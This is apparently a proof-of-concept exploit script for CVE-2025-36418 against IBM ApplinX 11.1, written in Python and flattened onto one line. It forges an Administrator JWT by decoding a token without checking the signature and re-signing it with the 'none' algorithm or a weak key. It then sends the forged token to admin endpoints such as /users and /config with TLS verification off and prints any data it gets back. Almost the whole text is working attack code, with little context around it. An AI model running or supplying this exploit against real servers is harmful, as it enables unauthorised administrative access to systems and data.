CVE-2025-36418

import jwt import requests # CVE-2025-36418 PoC - JWT Token Privilege Escalation # Target: IBM ApplinX 11.1 TARGET_URL = "https://target-server:8443/ApplinX/api/v1" # Step 1: Obtain a valid JWT token (e.g., from login endpoint) # login_response = requests.post(f"{TARGET_URL}/login", json={"username": "attacker", "password": "password"}) # original_token = login_response.json()['token'] # For demonstration, using a placeholder token original_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYXR0YWNrZXIiLCJyb2xlIjoiVXNlciJ9.signature" # Step 2: Decode and modify the JWT token decoded = jwt.decode(original_token, options={"verify_signature": False}) print(f"Original token claims: {decoded}") # Step 3: Elevate privileges by modifying the role claim decoded['role'] = 'Administrator' # or 'admin' decoded['privileges'] = ['read', 'write', 'delete', 'admin'] # Step 4: Re-encode the token (exploit weak signature verification) # Note: Some implementations are vulnerable to alg:none or use weak secret keys exploited_token = jwt.encode(decoded, "", algorithm="none") # Alternative: jwt.encode(decoded, "weak-secret-key", algorithm="HS256") print(f"Exploited token: {exploited_token}") # Step 5: Use the modified token to access privileged endpoints headers = {"Authorization": f"Bearer {exploited_token}"} # Attempt to access admin functionality admin_endpoints = [ "/users", "/config", "/admin/settings" ] for endpoint in admin_endpoints: response = requests.get(f"{TARGET_URL}{endpoint}", headers=headers, verify=False) print(f"Endpoint: {endpoint}, Status: {response.status_code}") if response.status_code == 200: print(f"[+] Privilege escalation successful! Access granted to {endpoint}") print(f"Response: {response.text[:500]}")

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